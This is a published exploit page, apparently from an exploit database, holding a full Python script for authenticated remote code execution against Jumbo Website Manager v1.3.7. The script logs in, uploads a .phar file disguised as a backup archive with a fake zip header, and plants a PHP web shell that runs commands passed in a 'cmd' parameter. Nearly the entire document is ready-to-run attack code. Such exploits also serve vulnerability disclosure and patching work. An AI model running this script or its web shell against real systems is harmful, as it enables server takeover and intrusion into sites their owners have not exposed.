Share
## https://sploitus.com/exploit?id=PACKETSTORM:218659
#Exploit Title: Jumbo Website Manager - Remote Code Execution
#Application: Jumbo Website Manager
#Version: v1.3.7
#Bugs: RCE
#Technology: PHP
#Vendor URL: https://sourceforge.net/projects/jumbo/
#Software Link: https://sourceforge.net/projects/jumbo/
#Date of found: 28.10.2025
#Author: Mirabbas AΔalarov
#Tested on: Linux
import requests
from typing import Tuple, Optional
class JumboCMSExploit:
def __init__(self, base_url: str = "http://localhost"):
self.base_url = base_url
self.session = requests.Session()
def login(self, username: str, password: str) -> bool:
"""
Login to Jumbo CMS
Args:
username: Username
password: Password (already hashed)
Returns:
True if login successful, False otherwise
"""
print(f"[*] Attempting login as: {username}")
url = f"{self.base_url}/jumbo_files/jumbo/p_login.php"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": self.base_url,
"Referer": f"{self.base_url}/jumbo_files/jumbo/loginpage.php",
}
data = {
"username": username,
"password": password
}
response = self.session.post(url, headers=headers, data=data, allow_redirects=False)
if response.status_code in [200, 302]:
print(f"[+] Login successful! Status: {response.status_code}")
print(f"[+] Cookies: {self.session.cookies.get_dict()}")
return True
else:
print(f"[-] Login failed! Status: {response.status_code}")
return False
def upload_file(self, filename: str, content: bytes) -> Tuple[bool, str]:
"""
Upload a file to the backup manager
Args:
filename: Name of file to upload (e.g., test.phar)
content: Binary content of the file
Returns:
Tuple of (success, response_text)
"""
print(f"[*] Uploading file: {filename}")
url = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/php.php"
params = {"qqfile": filename}
# Disguise .phar as .jbox
display_name = filename.replace('.phar', '.jbox')
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0",
"Accept": "*/*",
"X-Requested-With": "XMLHttpRequest",
"X-File-Name": display_name,
"Content-Type": "application/octet-stream",
"Origin": self.base_url,
"Referer": f"{self.base_url}/jumbo_files/jumbo/backupmanager/loadbackup.php",
}
response = self.session.post(url, params=params, headers=headers, data=content)
if response.status_code == 200:
print(f"[+] Upload successful!")
print(f"[+] Response: {response.text}")
return True, response.text
else:
print(f"[-] Upload failed! Status: {response.status_code}")
return False, response.text
def exploit(self, username: str, password: str, filename: str, php_code: str) -> bool:
"""
Complete exploit: Login + Upload
Args:
username: Login username
password: Login password (hashed)
filename: Filename to upload
php_code: PHP code to execute
Returns:
True if exploit successful
"""
# Step 1: Login
if not self.login(username, password):
print("[-] Exploit failed at login stage")
return False
# Step 2: Create malicious file content
# PK header to disguise as archive
file_content = b'PK\x03\x04\x0a\x00\x00\x00\x00\x00' + php_code.encode()
# Step 3: Upload
success, response = self.upload_file(filename, file_content)
if success:
print("\n[+] Exploit completed successfully!")
uploaded_path = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/uploads/backup.phar?cmd=whoami"
print(f"[+] File possibly uploaded to: {uploaded_path}")
return True
else:
print("[-] Exploit failed at upload stage")
return False
if __name__ == "__main__":
print("="*70)
print("Jumbo CMS Authenticated RCE via File Upload Exploit")
print("="*70)
print()
# Configuration
TARGET = "http://localhost"
USERNAME = "admin"
PASSWORD = "6f7303f028531527b2da3620ccaf25ee384ae7db"
FILENAME = "test123.phar"
PHP_CODE = '<?php echo system($_GET["cmd"]);?>'
# Run exploit
exploit = JumboCMSExploit(TARGET)
exploit.exploit(USERNAME, PASSWORD, FILENAME, PHP_CODE)